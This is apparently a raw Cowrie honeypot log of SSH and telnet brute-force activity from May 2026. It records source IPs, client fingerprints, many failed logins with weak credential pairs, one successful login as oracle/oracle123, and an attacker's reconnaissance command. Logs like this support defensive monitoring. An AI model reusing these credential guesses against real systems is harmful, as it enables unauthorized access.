{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:29.054401Z","src_ip":"62.54.176.203","session":"0d6cb04807e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user7","password":"123456","message":"login attempt [user7/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:29.091272Z","src_ip":"176.65.132.129","session":"9e955150caa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34000,"dst_ip":"10.17.0.5","dst_port":23,"session":"c753564df66a","protocol":"telnet","message":"New connection: 152.42.224.71:34000 (10.17.0.5:23) [session: c753564df66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:29.503267Z"}
{"eventid":"cowrie.session.connect","src_ip":"82.152.132.24","src_port":43306,"dst_ip":"159.203.135.109","dst_port":22,"session":"af56a2460dab","protocol":"ssh","message":"New connection: 82.152.132.24:43306 (159.203.135.109:22) [session: af56a2460dab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:29.747945Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:29.753906Z","src_ip":"82.152.132.24","session":"af56a2460dab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:29.880965Z","src_ip":"82.152.132.24","session":"af56a2460dab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poney","message":"login attempt [root/poney] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:29.945614Z","src_ip":"62.54.176.203","session":"0d6cb04807e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:30.219127Z","src_ip":"176.65.132.129","session":"9e955150caa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"braves","message":"login attempt [root/braves] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:30.418804Z","src_ip":"82.152.132.24","session":"af56a2460dab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:31.047731Z","src_ip":"62.54.176.203","session":"0d6cb04807e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:31.548071Z","src_ip":"82.152.132.24","session":"af56a2460dab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35090,"dst_ip":"159.203.135.109","dst_port":22,"session":"888431c7f993","protocol":"ssh","message":"New connection: 176.65.132.129:35090 (159.203.135.109:22) [session: 888431c7f993]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:31.974421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:31.978040Z","src_ip":"176.65.132.129","session":"888431c7f993","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:32.059397Z","src_ip":"176.65.132.129","session":"888431c7f993","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:32.307404Z","src_ip":"176.65.132.129","session":"888431c7f993","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":53952,"dst_ip":"10.17.0.5","dst_port":22,"session":"5534179305e2","protocol":"ssh","message":"New connection: 186.13.24.118:53952 (10.17.0.5:22) [session: 5534179305e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:32.552728Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:32.557479Z","src_ip":"186.13.24.118","session":"5534179305e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:32.768633Z","src_ip":"186.13.24.118","session":"5534179305e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cc","message":"login attempt [root/cc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:33.389326Z","src_ip":"186.13.24.118","session":"5534179305e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:33.393026Z","src_ip":"176.65.132.129","session":"888431c7f993","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":65.13385438919067,"message":"Connection lost after 65 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:34.294863Z","src_ip":"152.42.224.71","session":"26769c7f24a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:34.550122Z","src_ip":"186.13.24.118","session":"5534179305e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":35104,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcdf93b61807","protocol":"ssh","message":"New connection: 176.65.132.129:35104 (159.203.135.109:22) [session: dcdf93b61807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:35.207032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:35.310249Z","src_ip":"176.65.132.129","session":"dcdf93b61807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:35.314175Z","src_ip":"176.65.132.129","session":"dcdf93b61807","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:35.658291Z","src_ip":"176.65.132.129","session":"dcdf93b61807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:36.743733Z","src_ip":"176.65.132.129","session":"dcdf93b61807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48224,"dst_ip":"159.203.135.109","dst_port":22,"session":"930a86c22449","protocol":"ssh","message":"New connection: 176.65.132.129:48224 (159.203.135.109:22) [session: 930a86c22449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:38.482350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:38.487294Z","src_ip":"176.65.132.129","session":"930a86c22449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:38.569789Z","src_ip":"176.65.132.129","session":"930a86c22449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:38.817603Z","src_ip":"176.65.132.129","session":"930a86c22449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:39.990171Z","src_ip":"176.65.132.129","session":"930a86c22449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48246,"dst_ip":"159.203.135.109","dst_port":22,"session":"a712f5118e38","protocol":"ssh","message":"New connection: 176.65.132.129:48246 (159.203.135.109:22) [session: a712f5118e38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:41.690273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:41.695350Z","src_ip":"176.65.132.129","session":"a712f5118e38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:41.777583Z","src_ip":"176.65.132.129","session":"a712f5118e38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:42.025034Z","src_ip":"176.65.132.129","session":"a712f5118e38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":25.282655239105225,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:42.731218Z","src_ip":"152.42.224.71","session":"ef8a3be07a43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:43.109051Z","src_ip":"176.65.132.129","session":"a712f5118e38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42650,"dst_ip":"10.17.0.5","dst_port":23,"session":"94aec19ca0f9","protocol":"telnet","message":"New connection: 152.42.224.71:42650 (10.17.0.5:23) [session: 94aec19ca0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:43.626471Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":48264,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a1ebf280046","protocol":"ssh","message":"New connection: 176.65.132.129:48264 (159.203.135.109:22) [session: 1a1ebf280046]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:44.911804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:44.917660Z","src_ip":"176.65.132.129","session":"1a1ebf280046","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:45.118540Z","src_ip":"176.65.132.129","session":"1a1ebf280046","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:45.522305Z","src_ip":"176.65.132.129","session":"1a1ebf280046","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.209.112","src_port":49414,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8a1b0ee6670","protocol":"telnet","message":"New connection: 8.219.209.112:49414 (159.203.135.109:23) [session: c8a1b0ee6670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:45.659206Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:45.741410Z","src_ip":"176.65.132.129","session":"1a1ebf280046","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:45:45.745178Z","src_ip":"176.65.132.129","session":"1a1ebf280046","protocol":"ssh"}
